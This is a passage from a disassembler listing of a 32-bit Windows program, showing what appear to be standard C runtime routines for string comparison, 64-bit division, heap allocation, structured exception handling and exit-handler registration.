		push	esi
		or	ebx, eax


loc_42B1D6:				; CODE XREF: sub_42B1A0+61j
					; sub_42B1A0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_42B218
		and	eax, 81010100h
		jz	short loc_42B1D6
		and	eax, 1010100h
		jnz	short loc_42B212
		and	esi, 80000000h
		jnz	short loc_42B1D6


loc_42B212:				; CODE XREF: sub_42B1A0+68j
					; sub_42B1A0+81j ...
		pop	esi
		pop	edi


loc_42B214:				; CODE XREF: sub_42B1A0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42B218:				; CODE XREF: sub_42B1A0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_42B255
		test	al, al
		jz	short loc_42B212
		cmp	ah, bl
		jz	short loc_42B24E
		test	ah, ah
		jz	short loc_42B212
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_42B247
		test	al, al
		jz	short loc_42B212
		cmp	ah, bl
		jz	short loc_42B240
		test	ah, ah
		jz	short loc_42B212
		jmp	short loc_42B1D6
; ---------------------------------------------------------------------------


loc_42B240:				; CODE XREF: sub_42B1A0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42B247:				; CODE XREF: sub_42B1A0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42B24E:				; CODE XREF: sub_42B1A0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42B255:				; CODE XREF: sub_42B1A0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_42B1A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_42B260	proc near		; CODE XREF: sub_40A9FE+A4Cp
					; sub_431658+26p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_42B2AC


loc_42B270:				; CODE XREF: sub_42B260+3Cj
					; sub_42B260+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_42B2A4
		or	al, al
		jz	short loc_42B2A0
		cmp	ah, [ecx+1]
		jnz	short loc_42B2A4
		or	ah, ah
		jz	short loc_42B2A0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_42B2A4
		or	al, al
		jz	short loc_42B2A0
		cmp	ah, [ecx+3]
		jnz	short loc_42B2A4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_42B270
		mov	edi, edi


loc_42B2A0:				; CODE XREF: sub_42B260+18j
					; sub_42B260+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_42B2A4:				; CODE XREF: sub_42B260+14j
					; sub_42B260+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_42B2AC:				; CODE XREF: sub_42B260+Ej
		test	edx, 1
		jz	short loc_42B2C8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_42B2A4
		inc	ecx
		or	al, al
		jz	short loc_42B2A0
		test	edx, 2
		jz	short loc_42B270


loc_42B2C8:				; CODE XREF: sub_42B260+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_42B2A4
		or	al, al
		jz	short loc_42B2A0
		cmp	ah, [ecx+1]
		jnz	short loc_42B2A4
		or	ah, ah
		jz	short loc_42B2A0
		add	ecx, 2
		jmp	short loc_42B270
sub_42B260	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_42B2F0	proc near		; CODE XREF: sub_40A9FE+190Fp
					; sub_418FA1+10Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_42B311
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_42B311:				; CODE XREF: sub_42B2F0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_42B32D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_42B32D:				; CODE XREF: sub_42B2F0+27j
		or	eax, eax
		jnz	short loc_42B349
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_42B38A
; ---------------------------------------------------------------------------


loc_42B349:				; CODE XREF: sub_42B2F0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_42B357:				; CODE XREF: sub_42B2F0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_42B357
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_42B385
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_42B385
		jb	short loc_42B386
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_42B386


loc_42B385:				; CODE XREF: sub_42B2F0+85j
					; sub_42B2F0+8Bj
		dec	esi


loc_42B386:				; CODE XREF: sub_42B2F0+8Dj
					; sub_42B2F0+93j
		xor	edx, edx
		mov	eax, esi


loc_42B38A:				; CODE XREF: sub_42B2F0+57j
		dec	edi
		jnz	short loc_42B394
		neg	edx
		neg	eax
		sbb	edx, 0


loc_42B394:				; CODE XREF: sub_42B2F0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_42B2F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B39A	proc near		; CODE XREF: sub_415506+5p
					; sub_418AD3+19Cp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0042B43C SIZE 0000007B BYTES
; FUNCTION CHUNK AT 0042B4C5 SIZE 00000012 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_437460
		push	offset sub_42ADC4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		mov	[ebp+arg_4], esi
		mov	[ebp+var_1C], esi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_42B3E3
		xor	ebx, ebx
		cmp	esi, ebx
		jnz	short loc_42B3D8
		push	1
		pop	esi


loc_42B3D8:				; CODE XREF: sub_42B39A+39j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		jmp	short loc_42B3E5
; ---------------------------------------------------------------------------


loc_42B3E3:				; CODE XREF: sub_42B39A+33j
		xor	ebx, ebx


loc_42B3E5:				; CODE XREF: sub_42B39A+47j
					; sub_42B39A+115j
		mov	[ebp+var_20], ebx
		cmp	esi, 0FFFFFFE0h
		ja	loc_42B499
		mov	eax, dword_677004
		cmp	eax, 3
		jnz	short loc_42B43C
		mov	edi, [ebp+var_1C]
		cmp	edi, dword_676FFC
		ja	short loc_42B482
		push	9
		call	sub_42DAEF
		pop	ecx
		mov	[ebp+var_4], ebx
		push	edi
		call	sub_42CC4E
		pop	ecx
		mov	[ebp+var_20], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_42B433
		cmp	[ebp+var_20], ebx
		jz	short loc_42B487
		push	[ebp+var_1C]
		jmp	short loc_42B476
sub_42B39A	endp


; =============== S U B	R O U T	I N E =======================================



sub_42B42E	proc near		; DATA XREF: .text:00437468o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
sub_42B42E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42B433	proc near		; CODE XREF: sub_42B39A+85p
		push	9
		call	sub_42DB50
		pop	ecx
		retn
sub_42B433	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B39A


loc_42B43C:				; CODE XREF: sub_42B39A+5Fj
		cmp	eax, 2
		jnz	short loc_42B482
		cmp	esi, dword_453174
		ja	short loc_42B482
		push	9
		call	sub_42DAEF
		pop	ecx
		mov	[ebp+var_4], 1
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_42D6F1
		pop	ecx
		mov	[ebp+var_20], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_42B4BC
		cmp	[ebp+var_20], ebx
		jz	short loc_42B487
		push	esi


loc_42B476:				; CODE XREF: sub_42B39A+92j
		push	ebx
		push	[ebp+var_20]
		call	sub_429760
		add	esp, 0Ch


loc_42B482:				; CODE XREF: sub_42B39A+6Aj
					; sub_42B39A+A5j ...
		cmp	[ebp+var_20], ebx
		jnz	short loc_42B4C5


loc_42B487:				; CODE XREF: sub_42B39A+8Dj
					; sub_42B39A+D9j
		push	esi
		push	8
		push	dword_677000
		call	dword_437210	; RtlAllocateHeap
		mov	[ebp+var_20], eax


loc_42B499:				; CODE XREF: sub_42B39A+51j
		cmp	[ebp+var_20], ebx
		jnz	short loc_42B4C5
		cmp	dword_676930, ebx
		jz	short loc_42B4C5
		push	esi
		call	sub_42C6C5
		pop	ecx
		test	eax, eax
		jnz	loc_42B3E5
		jmp	short loc_42B4C8
; END OF FUNCTION CHUNK	FOR sub_42B39A

; =============== S U B	R O U T	I N E =======================================



sub_42B4B7	proc near		; DATA XREF: .text:00437474o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
sub_42B4B7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42B4BC	proc near		; CODE XREF: sub_42B39A+D1p
		push	9
		call	sub_42DB50
		pop	ecx
		retn
sub_42B4BC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B39A


loc_42B4C5:				; CODE XREF: sub_42B39A+EBj
					; sub_42B39A+102j ...
		mov	eax, [ebp+var_20]


loc_42B4C8:				; CODE XREF: sub_42B39A+11Bj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_42B39A

; =============== S U B	R O U T	I N E =======================================



sub_42B4D7	proc near		; CODE XREF: sub_4155AA+Fp
					; sub_4155AA+30p ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_4297CA
		pop	ecx
		pop	ecx
		retn
sub_42B4D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B4E5	proc near		; CODE XREF: sub_431769+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_42B4E5	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_42B519	proc near		; CODE XREF: sub_431929+199p
					; sub_431AED+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_42B519	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42B520	proc near		; CODE XREF: sub_431929+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_42B520	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B527	proc near		; CODE XREF: sub_42B6DB+5Cp
					; sub_431769:loc_43179Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_42B54F
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_436300	; RtlUnwind


loc_42B54F:				; DATA XREF: sub_42B527+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_42B527	endp

; ---------------------------------------------------------------------------


loc_42B576:				; CODE XREF: .text:00436317j
					; .text:00436329j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_431360
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B5AC	proc near		; CODE XREF: sub_4317E4+7Bp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_42B600
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_431B80
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_42B5AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B600	proc near		; DATA XREF: sub_42B5AC+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_431360
		add	esp, 20h
		pop	ebp
		retn
sub_42B600	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B625	proc near		; CODE XREF: sub_4315AE+27p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_42B6DB
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_42B6AD
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	sub_42E4EE
		call	dword ptr [eax+68h]
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_42B6AD:				; DATA XREF: sub_42B625+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_42B6CA
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_42B6D3
; ---------------------------------------------------------------------------


loc_42B6CA:				; CODE XREF: sub_42B625+8Cj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_42B6D3:				; CODE XREF: sub_42B625+A3j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42B625	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B6DB	proc near		; DATA XREF: sub_42B625+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_42B6FE
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_42B74B
; ---------------------------------------------------------------------------


loc_42B6FE:				; CODE XREF: sub_42B6DB+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_431360
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_42B73C
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_42B527


loc_42B73C:				; CODE XREF: sub_42B6DB+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_42B74B:				; CODE XREF: sub_42B6DB+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42B6DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B750	proc near		; CODE XREF: sub_4313FB+D2p
					; sub_4315AE+45p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_42B7A7


loc_42B76E:				; CODE XREF: sub_42B750+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42B778
		call	sub_431C2D


loc_42B778:				; CODE XREF: sub_42B750+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_42B78D
		cmp	ecx, [eax+8]
		jle	short loc_42B792


loc_42B78D:				; CODE XREF: sub_42B750+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42B79E


loc_42B792:				; CODE XREF: sub_42B750+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_42B79E:				; CODE XREF: sub_42B750+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_42B76E
		mov	eax, [ebp+var_4]


loc_42B7A7:				; CODE XREF: sub_42B750+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_42B7BB
		cmp	esi, eax
		jbe	short loc_42B7C0


loc_42B7BB:				; CODE XREF: sub_42B750+65j
		call	sub_431C2D


loc_42B7C0:				; CODE XREF: sub_42B750+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_42B750	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_42B7CC	proc near		; CODE XREF: sub_4155AA+5p
					; sub_41985D+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_42B7CC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42B7EB	proc near		; CODE XREF: sub_42B869+4p

arg_0		= dword	ptr  4

		push	esi
		call	sub_430BFB
		push	dword_676ED4
		call	sub_431FB2
		mov	edx, dword_676ED4
		pop	ecx
		mov	ecx, dword_676ED0
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		jnb	short loc_42B851
		push	edx
		call	sub_431FB2
		add	eax, 10h
		push	eax
		push	dword_676ED4
		call	sub_431C83
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42B834
		xor	esi, esi
		jmp	short loc_42B860
; ---------------------------------------------------------------------------


loc_42B834:				; CODE XREF: sub_42B7EB+43j
		mov	ecx, dword_676ED0
		sub	ecx, dword_676ED4
		mov	dword_676ED4, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_676ED0, ecx


loc_42B851:				; CODE XREF: sub_42B7EB+27j
		mov	eax, [esp+4+arg_0]
		mov	[ecx], eax
		add	dword_676ED0, 4
		mov	esi, eax


loc_42B860:				; CODE XREF: sub_42B7EB+47j
		call	sub_430C04
		mov	eax, esi
		pop	esi
		retn
sub_42B7EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_42B869	proc near		; CODE XREF: sub_418D66+19p
					; sub_429247+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_42B7EB
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_42B869	endp


; =============== S U B	R O U T	I N E =======================================



sub_42B87B	proc near		; DATA XREF: .text:0043A018o
		push	80h
		call	sub_4297B8
		test	eax, eax
		pop	ecx
		mov	dword_676ED4, eax
		jnz	short loc_42B89C
		push	18h
		call	sub_42C67C
		mov	eax, dword_676ED4
		pop	ecx


loc_42B89C:				; CODE XREF: sub_42B87B+12j
		and	dword ptr [eax], 0
		mov	eax, dword_676ED4
		mov	dword_676ED0, eax
		retn
sub_42B87B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B8AA	proc near		; CODE XREF: sub_4197A9+20p
					; sub_41C4E4+20p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_42DC7D
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_42B8E8
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_42B8F5
; ---------------------------------------------------------------------------


loc_42B8E8:				; CODE XREF: sub_42B8AA+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_42DB65
		pop	ecx
		pop	ecx


loc_42B8F5:				; CODE XREF: sub_42B8AA+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_42B8AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B8FA	proc near		; CODE XREF: sub_41B1F5+54p
					; sub_41B2BC+18p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_437478
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_437234	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_42B8FA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B940	proc near		; CODE XREF: sub_419B11+C8p
					; sub_42C70D+93p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_42B971
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_42B96F
		jz	short loc_42B971
		dec	ecx
		dec	ecx


loc_42B96F:				; CODE XREF: sub_42B940+29j
		not	ecx


loc_42B971:				; CODE XREF: sub_42B940+9j
					; sub_42B940+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_42B940	endp


; =============== S U B	R O U T	I N E =======================================



sub_42B978	proc near		; DATA XREF: .text:off_43749Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_42BA1B
		test	[esp+4+arg_0], 1
		jz	short loc_42B98E
		push	esi
		call	sub_4290D0
		pop	ecx


loc_42B98E:				; CODE XREF: sub_42B978+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B978	endp


; =============== S U B	R O U T	I N E =======================================



sub_42B994	proc near		; CODE XREF: sub_41B24F+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_43749C
		push	dword ptr [edi]
		call	sub_4293A0
		inc	eax
		push	eax
		call	sub_42B4D7
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42B9C3
		push	dword ptr [edi]
		push	eax
		call	sub_42A5D0
		pop	ecx
		pop	ecx


loc_42B9C3:				; CODE XREF: sub_42B994+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42B994	endp


; =============== S U B	R O U T	I N E =======================================



sub_42B9D1	proc near		; CODE XREF: sub_41B332+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
